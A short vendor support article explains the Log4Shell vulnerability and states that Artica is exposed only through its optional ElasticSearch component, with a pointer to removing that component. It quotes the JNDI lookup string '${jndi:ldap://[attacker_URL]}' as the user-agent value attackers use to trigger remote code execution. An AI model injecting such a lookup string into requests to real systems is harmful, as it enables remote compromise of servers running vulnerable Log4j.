Log4Shell vulnerability and Artica

Log4Shell is a severe critical vulnerability affecting many versions of the Apache Log4j application. 
The vulnerability allows unauthenticated remote code execution. 
Attackers can take advantage of it by modifying their browser's user-agent string to ${jndi:ldap://[attacker_URL]} format. This vulnerability can be found in products of some of the most famous technology vendors such as AWS, IBM, Cloudflare, Cisco, iCloud, Minecraft: Java Edition, Steam, and VMWare.

Is Artica is affected by the Log4Shell vulnerability ?

Artica did not use Log4Shell  from Apache by default.
But there is a  CVE-2021-44228, CVE-2021-45046, CVE-2021-45105 - ESA-2021-31  with ElasticSearch feature. 
ElasticSearch using a part of Log4j module.

You can see ElasticSearch feature. In our case, the feature is not installed, the remote exploitation cannot be performed.

If you want to completely remove the ElasticSearch component because you don't use it, see how to remove it